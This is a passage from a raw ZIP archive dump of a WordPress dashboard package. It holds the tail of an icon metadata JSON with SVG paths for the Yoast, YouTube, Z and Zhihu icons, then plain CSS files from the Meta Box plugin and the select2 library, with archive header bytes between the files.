        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 64c53 0 96 43 96 96s-43 96-96 96s-96 43-96 96s43 96 96 96C150 448 64 362 64 256S150 64 256 64zm0 448A256 256 0 1 0 256 0a256 256 0 1 0 0 512zm32-352a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM224 352a32 32 0 1 1 64 0 32 32 0 1 1 -64 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 64c53 0 96 43 96 96s-43 96-96 96s-96 43-96 96s43 96 96 96C150 448 64 362 64 256S150 64 256 64zm0 448A256 256 0 1 0 256 0a256 256 0 1 0 0 512zm32-352a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM224 352a32 32 0 1 1 64 0 32 32 0 1 1 -64 0z"
      }
    },
    "free": ["solid"]
  },
  "yoast": {
    "changes": ["4.6.0", "5.0.0", "5.0.3"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f2b1",
    "label": "Yoast",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014482,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M91.3 76h186l-7 18.9h-179c-39.7 0-71.9 31.6-71.9 70.3v205.4c0 35.4 24.9 70.3 84 70.3V460H91.3C41.2 460 0 419.8 0 370.5V165.2C0 115.9 40.7 76 91.3 76zm229.1-56h66.5C243.1 398.1 241.2 418.9 202.2 459.3c-20.8 21.6-49.3 31.7-78.3 32.7v-51.1c49.2-7.7 64.6-49.9 64.6-75.3 0-20.1.6-12.6-82.1-223.2h61.4L218.2 299 320.4 20zM448 161.5V460H234c6.6-9.6 10.7-16.3 12.1-19.4h182.5V161.5c0-32.5-17.1-51.9-48.2-62.9l6.7-17.6c41.7 13.6 60.9 43.1 60.9 80.5z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M91.3 76h186l-7 18.9h-179c-39.7 0-71.9 31.6-71.9 70.3v205.4c0 35.4 24.9 70.3 84 70.3V460H91.3C41.2 460 0 419.8 0 370.5V165.2C0 115.9 40.7 76 91.3 76zm229.1-56h66.5C243.1 398.1 241.2 418.9 202.2 459.3c-20.8 21.6-49.3 31.7-78.3 32.7v-51.1c49.2-7.7 64.6-49.9 64.6-75.3 0-20.1.6-12.6-82.1-223.2h61.4L218.2 299 320.4 20zM448 161.5V460H234c6.6-9.6 10.7-16.3 12.1-19.4h182.5V161.5c0-32.5-17.1-51.9-48.2-62.9l6.7-17.6c41.7 13.6 60.9 43.1 60.9 80.5z"
      }
    },
    "free": ["brands"]
  },
  "youtube": {
    "aliases": {
      "unicodes": {
        "composite": ["f16a"]
      }
    },
    "changes": ["3.2.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": ["film", "video", "youtube-play", "youtube-square"]
    },
    "styles": ["brands"],
    "unicode": "f167",
    "label": "YouTube",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014461,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M549.655 124.083c-6.281-23.65-24.787-42.276-48.284-48.597C458.781 64 288 64 288 64S117.22 64 74.629 75.486c-23.497 6.322-42.003 24.947-48.284 48.597-11.412 42.867-11.412 132.305-11.412 132.305s0 89.438 11.412 132.305c6.281 23.65 24.787 41.5 48.284 47.821C117.22 448 288 448 288 448s170.78 0 213.371-11.486c23.497-6.321 42.003-24.171 48.284-47.821 11.412-42.867 11.412-132.305 11.412-132.305s0-89.438-11.412-132.305zm-317.51 213.508V175.185l142.739 81.205-142.739 81.201z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M549.655 124.083c-6.281-23.65-24.787-42.276-48.284-48.597C458.781 64 288 64 288 64S117.22 64 74.629 75.486c-23.497 6.322-42.003 24.947-48.284 48.597-11.412 42.867-11.412 132.305-11.412 132.305s0 89.438 11.412 132.305c6.281 23.65 24.787 41.5 48.284 47.821C117.22 448 288 448 288 448s170.78 0 213.371-11.486c23.497-6.321 42.003-24.171 48.284-47.821 11.412-42.867 11.412-132.305 11.412-132.305s0-89.438-11.412-132.305zm-317.51 213.508V175.185l142.739 81.205-142.739 81.201z"
      }
    },
    "free": ["brands"]
  },
  "z": {
    "aliases": {
      "unicodes": {
        "composite": ["7a"]
      }
    },
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Latin Capital Letter Z", "Latin Small Letter Z", "letter"]
    },
    "styles": ["solid"],
    "unicode": "5a",
    "label": "Z",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767246,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M0 64C0 46.3 14.3 32 32 32H352c12.4 0 23.7 7.2 29 18.4s3.6 24.5-4.4 34.1L100.3 416H352c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-12.4 0-23.7-7.2-29-18.4s-3.6-24.5 4.4-34.1L283.7 96H32C14.3 96 0 81.7 0 64z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M0 64C0 46.3 14.3 32 32 32H352c12.4 0 23.7 7.2 29 18.4s3.6 24.5-4.4 34.1L100.3 416H352c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-12.4 0-23.7-7.2-29-18.4s-3.6-24.5 4.4-34.1L283.7 96H32C14.3 96 0 81.7 0 64z"
      }
    },
    "free": ["solid"]
  },
  "zhihu": {
    "changes": ["5.2.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f63f",
    "label": "Zhihu",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014458,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M170.54 148.13v217.54l23.43.01 7.71 26.37 42.01-26.37h49.53V148.13H170.54zm97.75 193.93h-27.94l-27.9 17.51-5.08-17.47-11.9-.04V171.75h72.82v170.31zm-118.46-94.39H97.5c1.74-27.1 2.2-51.59 2.2-73.46h51.16s1.97-22.56-8.58-22.31h-88.5c3.49-13.12 7.87-26.66 13.12-40.67 0 0-24.07 0-32.27 21.57-3.39 8.9-13.21 43.14-30.7 78.12 5.89-.64 25.37-1.18 36.84-22.21 2.11-5.89 2.51-6.66 5.14-14.53h28.87c0 10.5-1.2 66.88-1.68 73.44H20.83c-11.74 0-15.56 23.62-15.56 23.62h65.58C66.45 321.1 42.83 363.12 0 396.34c20.49 5.85 40.91-.93 51-9.9 0 0 22.98-20.9 35.59-69.25l53.96 64.94s7.91-26.89-1.24-39.99c-7.58-8.92-28.06-33.06-36.79-41.81L87.9 311.95c4.36-13.98 6.99-27.55 7.87-40.67h61.65s-.09-23.62-7.59-23.62v.01zm412.02-1.6c20.83-25.64 44.98-58.57 44.98-58.57s-18.65-14.8-27.38-4.06c-6 8.15-36.83 48.2-36.83 48.2l19.23 14.43zm-150.09-59.09c-9.01-8.25-25.91 2.13-25.91 2.13s39.52 55.04 41.12 57.45l19.46-13.73s-25.67-37.61-34.66-45.86h-.01zM640 258.35c-19.78 0-130.91.93-131.06.93v-101c4.81 0 12.42-.4 22.85-1.2 40.88-2.41 70.13-4 87.77-4.81 0 0 12.22-27.19-.59-33.44-3.07-1.18-23.17 4.58-23.17 4.58s-165.22 16.49-232.36 18.05c1.6 8.82 7.62 17.08 15.78 19.55 13.31 3.48 22.69 1.7 49.15.89 24.83-1.6 43.68-2.43 56.51-2.43v99.81H351.41s2.82 22.31 25.51 22.85h107.94v70.92c0 13.97-11.19 21.99-24.48 21.12-14.08.11-26.08-1.15-41.69-1.81 1.99 3.97 6.33 14.39 19.31 21.84 9.88 4.81 16.17 6.57 26.02 6.57 29.56 0 45.67-17.28 44.89-45.31v-73.32h122.36c9.68 0 8.7-23.78 8.7-23.78l.03-.01z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M170.54 148.13v217.54l23.43.01 7.71 26.37 42.01-26.37h49.53V148.13H170.54zm97.75 193.93h-27.94l-27.9 17.51-5.08-17.47-11.9-.04V171.75h72.82v170.31zm-118.46-94.39H97.5c1.74-27.1 2.2-51.59 2.2-73.46h51.16s1.97-22.56-8.58-22.31h-88.5c3.49-13.12 7.87-26.66 13.12-40.67 0 0-24.07 0-32.27 21.57-3.39 8.9-13.21 43.14-30.7 78.12 5.89-.64 25.37-1.18 36.84-22.21 2.11-5.89 2.51-6.66 5.14-14.53h28.87c0 10.5-1.2 66.88-1.68 73.44H20.83c-11.74 0-15.56 23.62-15.56 23.62h65.58C66.45 321.1 42.83 363.12 0 396.34c20.49 5.85 40.91-.93 51-9.9 0 0 22.98-20.9 35.59-69.25l53.96 64.94s7.91-26.89-1.24-39.99c-7.58-8.92-28.06-33.06-36.79-41.81L87.9 311.95c4.36-13.98 6.99-27.55 7.87-40.67h61.65s-.09-23.62-7.59-23.62v.01zm412.02-1.6c20.83-25.64 44.98-58.57 44.98-58.57s-18.65-14.8-27.38-4.06c-6 8.15-36.83 48.2-36.83 48.2l19.23 14.43zm-150.09-59.09c-9.01-8.25-25.91 2.13-25.91 2.13s39.52 55.04 41.12 57.45l19.46-13.73s-25.67-37.61-34.66-45.86h-.01zM640 258.35c-19.78 0-130.91.93-131.06.93v-101c4.81 0 12.42-.4 22.85-1.2 40.88-2.41 70.13-4 87.77-4.81 0 0 12.22-27.19-.59-33.44-3.07-1.18-23.17 4.58-23.17 4.58s-165.22 16.49-232.36 18.05c1.6 8.82 7.62 17.08 15.78 19.55 13.31 3.48 22.69 1.7 49.15.89 24.83-1.6 43.68-2.43 56.51-2.43v99.81H351.41s2.82 22.31 25.51 22.85h107.94v70.92c0 13.97-11.19 21.99-24.48 21.12-14.08.11-26.08-1.15-41.69-1.81 1.99 3.97 6.33 14.39 19.31 21.84 9.88 4.81 16.17 6.57 26.02 6.57 29.56 0 45.67-17.28 44.89-45.31v-73.32h122.36c9.68 0 8.7-23.78 8.7-23.78l.03-.01z"
      }
    },
    "free": ["brands"]
  }
}
PK     0w\D  D  $  dashboard/lib/meta-box/css/style.cssnu [        /* Styles for 'normal' meta boxes
-------------------------------------------------------------- */

/* Clearfix for field */
.rwmb-field {
	display: flex;
}
.rwmb-field:not(:last-of-type) {
	margin: 0 0 12px;
}
.rwmb-label {
	width: 25%;
}
.rwmb-input {
	flex: 1;
}

.rwmb-label > label {
	font-weight: 600;
}
.rwmb-required {
	color: #dc3232;
	font-weight: bold;
	margin-left: 3px;
}

.rwmb-input h4 {
	margin: 0;
}
.rwmb-input input:not([size]),
.rwmb-input-group,
.rwmb-input select,
.rwmb-input .select2-container,
.rwmb-input textarea:not([cols]) {
	width: 100%;
	box-sizing: border-box;
}
.rwmb-input input[type="checkbox"],
.rwmb-input input[type="radio"] {
	width: 1em;
}
.rwmb-input input[type="button"] {
	width: auto;
}
.rwmb-input input:not([type="checkbox"]):not([type="radio"]),
.rwmb-input textarea,
.rwmb-input select {
	max-width: 100%;
	margin-inline: 0;
}
.rwmb-textarea {
	resize: vertical;
}

/* Clone */
.rwmb-clone {
	min-height: 24px;
	margin-bottom: 12px;
	padding-right: 24px;
	position: relative;
	clear: both;
	background: #fff;
}
.rwmb-clone > input[type='radio'],
.rwmb-clone > input[type='checkbox'] {
	margin: 6px 0 0 4px;
}
.rwmb-button.remove-clone {
	text-decoration: none;
	color: #ccc;
	display: inline-block;
	position: absolute;
	top: 0;
	right: 0;
	width: 20px;
	height: 20px;
	transition: color 200ms;
}
.rwmb-button.remove-clone .dashicons {
	font-size: 20px;
}
.rwmb-button.remove-clone:hover {
	color: #dc3232;
}
.remove-clone:focus {
	outline: 0;
	box-shadow: none;
}
.rwmb-button.add-clone {
	margin-top: 4px;
}
.rwmb-clone-icon {
	cursor: move;
	background: url(../img/drag_icon.gif) no-repeat;
	height: 23px;
	width: 15px;
	vertical-align: top;
	display: inline-block;
	position: absolute;
	left: 0;
	top: 0;
}
.rwmb-sort-clone {
	padding-left: 15px;
}

/* jQuery validation */
p.rwmb-error {
	color: #dc3232;
	margin: 4px 0;
	clear: both;
}
input.rwmb-error.rwmb-error,
textarea.rwmb-error,
select.rwmb-error {
	border-color: #dc3232;
	background: #ffebe8;
}

/* Utilities
-------------------------------------------------------------- */
.rwmb-sortable-placeholder {
	background: #fcf8e3;
	border: 1px solid #faebcc;
	display: block;
}


/* Styles for 'side' meta boxes
-------------------------------------------------------------- */
#side-sortables .rwmb-field {
	flex-direction: column;
}
#side-sortables .rwmb-label {
	width: 100%;
	margin-bottom: 4px;
}

/* Mobile style */
@media (max-width: 782px) {
	.rwmb-field {
		flex-direction: column;
	}
	.rwmb-label {
		width: 100%;
		margin-bottom: 4px;
	}
	.rwmb-input input[type="radio"],
	.rwmb-input input[type="checkbox"] {
		width: 1.5625rem;
	}
}

/* Seamless style
--------------------------------------------------------------*/
.rwmb-seamless {
	background: none;
	border: none;
	box-shadow: none;
}
.rwmb-seamless .inside.inside {
	padding-left: 0;
	padding-right: 0;
}
.postbox.rwmb-seamless .hndle,
.postbox.rwmb-seamless .handlediv,
.postbox.rwmb-seamless .postbox-header {
	display: none;
}
.rwmb-seamless .rwmb-clone {
	background: none;
}

/* CSS fixes
--------------------------------------------------------------*/
/* Fix color picker field is hidden by the post editor at after_title position. https://metabox.io/support/topic/bug-color-picker-field-is-showed-below-the-title-field/ */
.postarea {
	position: relative;
	z-index: 0;
}
.rwmb-hidden-wrapper {
	display: none;
}PK     0w\<>V   V   &  dashboard/lib/meta-box/css/divider.cssnu [        .rwmb-divider-wrapper hr {
	flex: 1;
	border: none;
	border-top: 1px solid #e6e6e6;
}
PK     0w\[u    $  dashboard/lib/meta-box/css/range.cssnu [        .rwmb-range-inner {
	display: flex;
	align-items: center;
	justify-content: space-between;
}
.rwmb-range {
	flex: 1;
}
.rwmb-range.rwmb-range,
.rwmb-range.rwmb-range:hover {
	vertical-align: middle;
	padding: 0;
	border: none;
}
.rwmb-range-output {
	margin-left: 8px;
}
PK     0w\`      (  dashboard/lib/meta-box/css/key-value.cssnu [        .rwmb-key_value-clone {
	display: flex;
	align-items: center;
}
.rwmb-key_value-clone input {
	flex: 1;
}
.rwmb-key_value-clone .remove-clone {
	position: static;
}PK     0w\l    )  dashboard/lib/meta-box/css/input-list.cssnu [        .rwmb-toggle-all-wrapper {
	margin-top: 0;
}
.rwmb-input-list {
	line-height: 1.8;
}
.rwmb-input-list .rwmb-input-list {
	margin-left: 20px;
}
.rwmb-input-list > label {
	display: block;
}
.rwmb-input-list.rwmb-inline {
	line-height: inherit;
	display: flex;
	flex-wrap: wrap;
	gap: 6px 12px;
}

/* Media modal */
.attachment-details .compat-attachment-fields .rwmb-input-list > label > input {
	margin: 0 0.25rem 0 0;
}
.compat-attachment-fields .rwmb-input-list.rwmb-inline {
	gap: 10px;
}
PK     0w\y	TD  D  .  dashboard/lib/meta-box/css/select2/select2.cssnu [        .select2-container {
  box-sizing: border-box;
  display: inline-block;
  margin: 0;
  position: relative;
  vertical-align: middle; }
  .select2-container .select2-selection--single {
    box-sizing: border-box;
    cursor: pointer;
    display: block;
    height: 28px;
    user-select: none;
    -webkit-user-select: none; }
    .select2-container .select2-selection--single .select2-selection__rendered {
      display: block;
      padding-left: 8px;
      padding-right: 20px;
      overflow: hidden;
      text-overflow: ellipsis;
      white-space: nowrap; }
    .select2-container .select2-selection--single .select2-selection__clear {
      position: relative; }
  .select2-container[dir="rtl"] .select2-selection--single .select2-selection__rendered {
    padding-right: 8px;
    padding-left: 20px; }
  .select2-container .select2-selection--multiple {
    box-sizing: border-box;
    cursor: pointer;
    display: block;
    min-height: 32px;
    user-select: none;
    -webkit-user-select: none; }
    .select2-container .select2-selection--multiple .select2-selection__rendered {
      display: inline-block;
      overflow: hidden;
      padding-left: 8px;
      text-overflow: ellipsis;
      white-space: nowrap; }
  .select2-container .select2-search--inline {
    float: left; }
    .select2-container .select2-search--inline .select2-search__field {
      box-sizing: border-box;
      border: none;
      font-size: 100%;
      margin-top: 5px;
      padding: 0; }
      .select2-container .select2-search--inline .select2-search__field::-webkit-search-cancel-button {
        -webkit-appearance: none; }

.select2-dropdown {
  background-color: white;
  border: 1px solid #aaa;
  border-radius: 4px;
  box-sizing: border-box;
  display: block;
  position: absolute;
  left: -100000px;
  width: 100%;
  z-index: 1051; }

.select2-results {
  display: block; }

.select2-results__options {
  list-style: none;
  margin: 0;
  padding: 0; }

.select2-results__option {
  padding: 6px;
  user-select: none;
  -webkit-user-select: none; }
  .select2-results__option[aria-selected] {
    cursor: pointer; }

.select2-container--open .select2-dropdown {
  left: 0; }

.select2-container--open .select2-dropdown--above {
  border-bottom: none;
  border-bottom-left-radius: 0;
  border-bottom-right-radius: 0; }

.select2-container--open .select2-dropdown--below {
  border-top: none;
  border-top-left-radius: 0;
  border-top-right-radius: 0; }

.select2-search--dropdown {
  display: block;
  padding: 4px; }
  .select2-search--dropdown .select2-search__field {
    padding: 4px;
    width: 100%;
    box-sizing: border-box; }
    .select2-search--dropdown .select2-search__field::-webkit-search-cancel-button {
      -webkit-appearance: none; }
  .select2-search--dropdown.select2-search--hide {
    display: none; }

.select2-close-mask {
  border: 0;
  margin: 0;
  padding: 0;
  display: block;
  position: fixed;
  left: 0;
  top: 0;
  min-height: 100%;
  min-width: 100%;
  height: auto;
  width: auto;
  opacity: 0;
  z-index: 99;
  background-color: #fff;
  filter: alpha(opacity=0); }

.select2-hidden-accessible {
  border: 0 !important;
  clip: rect(0 0 0 0) !important;
  height: 1px !important;
  margin: -1px !important;
  overflow: hidden !important;
  padding: 0 !important;
  position: absolute !important;
  width: 1px !important; }

.select2-container--default .select2-selection--single {
  background-color: #fff;
  border: 1px solid #aaa;
  border-radius: 4px; }
  .select2-container--default .select2-selection--single .select2-selection__rendered {
    color: #444;
    line-height: 28px; }
  .select2-container--default .select2-selection--single .select2-selection__clear {
    cursor: pointer;
    float: right;
    font-weight: bold; }
  .select2-container--default .select2-selection--single .select2-selection__placeholder {
    color: #999; }
  .select2-container--default .select2-selection--single .select2-selection__arrow {
    height: 26px;
    position: absolute;
    top: 1px;
    right: 1px;
    width: 20px; }
    .select2-container--default .select2-selection--single .select2-selection__arrow b {
      border-color: #888 transparent transparent transparent;
      border-style: solid;
      border-width: 5px 4px 0 4px;
      height: 0;
      left: 50%;
      margin-left: -4px;
      margin-top: -2px;
      position: absolute;
      top: 50%;
      width: 0; }

.select2-container--default[dir="rtl"] .select2-selection--single .select2-selection__clear {
  float: left; }

.select2-container--default[dir="rtl"] .select2-selection--single .select2-selection__arrow {
  left: 1px;
  right: auto; }

.select2-container--default.select2-container--disabled .select2-selection--single {
  background-color: #eee;
  cursor: default; }
  .select2-container--default.select2-container--disabled .select2-selection--single .select2-selection__clear {
    display: none; }

.select2-container--default.select2-container--open .select2-selection--single .select2-selection__arrow b {
  border-color: transparent transparent #888 transparent;
  border-width: 0 4px 5px 4px; }

.select2-container--default .select2-selection--multiple {
  background-color: white;
  border: 1px solid #aaa;
  border-radius: 4px;
  cursor: text; }
  .select2-container--default .select2-selection--multiple .select2-selection__rendered {
    box-sizing: border-box;
    list-style: none;
    margin: 0;
    padding: 0 5px;
    width: 100%; }
    .select2-container--default .select2-selection--multiple .select2-selection__rendered li {
      list-style: none; }
  .select2-container--default .select2-selection--multiple .select2-selection__placeholder {
    color: #999;
    margin-top: 5px;
    float: left; }
  .select2-container--default .select2-selection--multiple .select2-selection__clear {
    cursor: pointer;
    float: right;
    font-weight: bold;
    margin-top: 5px;
    margin-right: 10px; }
  .select2-container--default .select2-selection--multiple .select2-selection__choice {
    background-color: #e4e4e4;
    border: 1px solid #aaa;
    border-radius: 4px;
    cursor: default;
    float: left;
    margin-right: 5px;
    margin-top: 5px;
    padding: 0 5px; }
  .select2-container--default .select2-selection--multiple .select2-selection__choice__remove {
    color: #999;
    cursor: pointer;
    display: inline-block;
    font-weight: bold;
    margin-right: 2px; }
    .select2-container--default .select2-selection--multiple .select2-selection__choice__remove:hover {
      color: #333; }

.select2-container--default[dir="rtl"] .select2-selection--multiple .select2-selection__choice, .select2-container--default[dir="rtl"] .select2-selection--multiple .select2-selection__placeholder, .select2-container--default[dir="rtl"] .select2-selection--multiple .select2-search--inline {
  float: right; }

.select2-container--default[dir="rtl"] .select2-selection--multiple .select2-selection__choice {
  margin-left: 5px;
  margin-right: auto; }

.select2-container--default[dir="rtl"] .select2-selection--multiple .select2-selection__choice__remove {
  margin-left: 2px;
  margin-right: auto; }

.select2-container--default.select2-container--focus .select2-selection--multiple {
  border: solid black 1px;
  outline: 0; }

.select2-container--default.select2-container--disabled .select2-selection--multiple {
  background-color: #eee;
  cursor: default; }

.select2-container--default.select2-container--disabled .select2-selection__choice__remove {
  display: none; }

.select2-container--default.select2-container--open.select2-container--above .select2-selection--single, .select2-container--default.select2-container--open.select2-container--above .select2-selection--multiple {
  border-top-left-radius: 0;
  border-top-right-radius: 0; }

.select2-container--default.select2-container--open.select2-container--below .select2-selection--single, .select2-container--default.select2-container--open.select2-container--below .select2-selection--multiple {
  border-bottom-left-radius: 0;
  border-bottom-right-radius: 0; }

.select2-container--default .select2-search--dropdown .select2-search__field {
  border: 1px solid #aaa; }

.select2-container--default .select2-search--inline .select2-search__field {
  background: transparent;
  border: none;
  outline: 0;
  box-shadow: none;
  -webkit-appearance: textfield; }

.select2-container--default .select2-results > .select2-results__options {
  max-height: 200px;
  overflow-y: auto; }

.select2-container--default .select2-results__option[role=group] {
  padding: 0; }

.select2-container--default .select2-results__option[aria-disabled=true] {
  color: #999; }

.select2-container--default .select2-results__option[aria-selected=true] {
  background-color: #ddd; }

.select2-container--default .select2-results__option .select2-results__option {
  padding-left: 1em; }
  .select2-container--default .select2-results__option .select2-results__option .select2-results__group {
    padding-left: 0; }
  .select2-container--default .select2-results__option .select2-results__option .select2-results__option {
    margin-left: -1em;
    padding-left: 2em; }
    .select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option {
      margin-left: -2em;
      padding-left: 3em; }
      .select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option {
        margin-left: -3em;
        padding-left: 4em; }
        .select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option {
          margin-left: -4em;
          padding-left: 5em; }
          .select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option {
            margin-left: -5em;
            padding-left: 6em; }

.select2-container--default .select2-results__option--highlighted[aria-selected] {
  background-color: #5897fb;
  color: white; }

.select2-container--default .select2-results__group {
  cursor: default;
  display: block;
  padding: 6px; }

.select2-container--classic .select2-selection--single {
  background-color: #f7f7f7;
  border: 1px solid #aaa;
  border-radius: 4px;
  outline: 0;
  background-image: -webkit-linear-gradient(top, white 50%, #eeeeee 100%);
  background-image: -o-linear-gradient(top, white 50%, #eeeeee 100%);
  background-image: linear-gradient(to bottom, white 50%, #eeeeee 100%);
  background-repeat: repeat-x;
  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFFFFFFF', endColorstr='#FFEEEEEE', GradientType=0); }
  .select2-container--classic .select2-selection--single:focus {
    border: 1px solid #5897fb; }
  .select2-container--classic .select2-selection--single .select2-selection__rendered {
    color: #444;
    line-height: 28px; }
  .select2-container--classic .select2-selection--single .select2-selection__clear {
    cursor: pointer;
    float: right;
    font-weight: bold;
    margin-right: 10px; }
  .select2-container--classic .select2-selection--single .select2-selection__placeholder {
    color: #999; }
  .select2-container--classic .select2-selection--single .select2-selection__arrow {
    background-color: #ddd;
    border: none;
    border-left: 1px solid #aaa;
    border-top-right-radius: 4px;
    border-bottom-right-radius: 4px;
    height: 26px;
    position: absolute;
    top: 1px;
    right: 1px;
    width: 20px;
    background-image: -webkit-linear-gradient(top, #eeeeee 50%, #cccccc 100%);
    background-image: -o-linear-gradient(top, #eeeeee 50%, #cccccc 100%);
    background-image: linear-gradient(to bottom, #eeeeee 50%, #cccccc 100%);
    background-repeat: repeat-x;
    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFEEEEEE', endColorstr='#FFCCCCCC', GradientType=0); }
    .select2-container--classic .select2-selection--single .select2-selection__arrow b {
      border-color: #888 transparent transparent transparent;
      border-style: solid;
      border-width: 5px 4px 0 4px;
      height: 0;
      left: 50%;
      margin-left: -4px;
      margin-top: -2px;
      position: absolute;
      top: 50%;
      width: 0; }

.select2-container--classic[dir="rtl"] .select2-selection--single .select2-selection__clear {
  float: left; }

.select2-container--classic[dir="rtl"] .select2-selection--single .select2-selection__arrow {
  border: none;
  border-right: 1px solid #aaa;
  border-radius: 0;
  border-top-left-radius: 4px;
  border-bottom-left-radius: 4px;
  left: 1px;
  right: auto; }

.select2-container--classic.select2-container--open .select2-selection--single {
  border: 1px solid #5897fb; }
  .select2-container--classic.select2-container--open .select2-selection--single .select2-selection__arrow {
    background: transparent;
    border: none; }
    .select2-container--classic.select2-container--open .select2-selection--single .select2-selection__arrow b {
      border-color: transparent transparent #888 transparent;
      border-width: 0 4px 5px 4px; }

.select2-container--classic.select2-container--open.select2-container--above .select2-selection--single {
  border-top: none;
  border-top-left-radius: 0;
  border-top-right-radius: 0;
  background-image: -webkit-linear-gradient(top, white 0%, #eeeeee 50%);
  background-image: -o-linear-gradient(top, white 0%, #eeeeee 50%);
  background-image: linear-gradient(to bottom, white 0%, #eeeeee 50%);
  background-repeat: repeat-x;
  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFFFFFFF', endColorstr='#FFEEEEEE', GradientType=0); }

.select2-container--classic.select2-container--open.select2-container--below .select2-selection--single {
  border-bottom: none;
  border-bottom-left-radius: 0;
  border-bottom-right-radius: 0;
  background-image: -webkit-linear-gradient(top, #eeeeee 50%, white 100%);
  background-image: -o-linear-gradient(top, #eeeeee 50%, white 100%);
  background-image: linear-gradient(to bottom, #eeeeee 50%, white 100%);
  background-repeat: repeat-x;
  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFEEEEEE', endColorstr='#FFFFFFFF', GradientType=0); }

.select2-container--classic .select2-selection--multiple {
  background-color: white;
  border: 1px solid #aaa;
  border-radius: 4px;
  cursor: text;
  outline: 0; }
  .select2-container--classic .select2-selection--multiple:focus {
    border: 1px solid #5897fb; }
  .select2-container--classic .select2-selection--multiple .select2-selection__rendered {
    list-style: none;
    margin: 0;
    padding: 0 5px; }
  .select2-container--classic .select2-selection--multiple .select2-selection__clear {
    display: none; }
  .select2-container--classic .select2-selection--multiple .select2-selection__choice {
    background-color: #e4e4e4;
    border: 1px solid #aaa;
    border-radius: 4px;
    cursor: default;
    float: left;
    margin-right: 5px;
    margin-top: 5px;
    padding: 0 5px; }
  .select2-container--classic .select2-selection--multiple .select2-selection__choice__remove {
    color: #888;
    cursor: pointer;
    display: inline-block;
    font-weight: bold;
    margin-right: 2px; }
    .select2-container--classic .select2-selection--multiple .select2-selection__choice__remove:hover {
      color: #555; }

.select2-container--classic[dir="rtl"] .select2-selection--multiple .select2-selection__choice {
  float: right; }

.select2-container--classic[dir="rtl"] .select2-selection--multiple .select2-selection__choice {
  margin-left: 5px;
  margin-right: auto; }

.select2-container--classic[dir="rtl"] .select2-selection--multiple .select2-selection__choice__remove {
  margin-left: 2px;
  margin-right: auto; }

.select2-container--classic.select2-container--open .select2-selection--multiple {
  border: 1px solid #5897fb; }

.select2-container--classic.select2-container--open.select2-container--above .select2-selection--multiple {
  border-top: none;
  border-top-left-radius: 0;
  border-top-right-radius: 0; }

.select2-container--classic.select2-container--open.select2-container--below .select2-selection--multiple {
  border-bottom: none;
  border-bottom-left-radius: 0;
  border-bottom-right-radius: 0; }

.select2-container--classic .select2-search--dropdown .select2-search__field {
  border: 1px solid #aaa;
  outline: 0; }

.select2-container--classic .select2-search--inline .select2-search__field {
  outline: 0;
  box-shadow: none; }

.select2-container--classic .select2-dropdown {
  background-color: white;
  border: 1px solid transparent; }

.select2-container--classic .select2-dropdown--above {
  border-bottom: none; }

.select2-container--classic .select2-dropdown--below {
  border-top: none; }

.select2-container--classic .select2-results > .select2-results__options {
  max-height: 200px;
  overflow-y: auto; }

.select2-container--classic .select2-results__option[role=group] {
  padding: 0; }

.select2-container--classic .select2-results__option[aria-disabled=true] {
  color: grey; }

.select2-container--classic .select2-results__option--highlighted[aria-selected] {
  background-color: #3875d7;
  color: white; }

.select2-container--classic .select2-results__group {
  cursor: default;
  display: block;
  padding: 6px; }

.select2-container--classic.select2-container--open .select2-dropdown {
  border-color: #5897fb; }
PK     0w\    .  dashboard/lib/meta-box/css/select-advanced.cssnu [        .rwmb-field .select2-container {
	height: auto;
	min-width: 160px;
	max-width: 100%;
}
.select2-container .select2-selection--single,
.select2-container .select2-selection--multiple,
.select2-dropdown {
	border-color: #7e8993;
}
.select2-container .select2-selection--multiple {
	min-height: 30px;
}
.select2-container--open .select2-dropdown--below {
	border-top: 1px solid #7e8993;
	top: -1px;
}
.select2-container--open .select2-dropdown--above {
	border-bottom: 1px solid #7e8993;
	bottom: -1px;
}
.select2-container .select2-selection--single {
	height: 30px;
}
.select2-container .select2-selection--multiple .select2-selection__rendered {
	display: block;
}
.select2-container--default .select2-selection--single .select2-selection__rendered {
	line-height: 30px;
}
.select2-container--default .select2-selection--single .select2-selection__arrow {
	height: 28px;
}
.select2-results__option {
	margin-bottom: 0;
}
.select2-container .select2-search--inline {
	margin-bottom: 0;
}
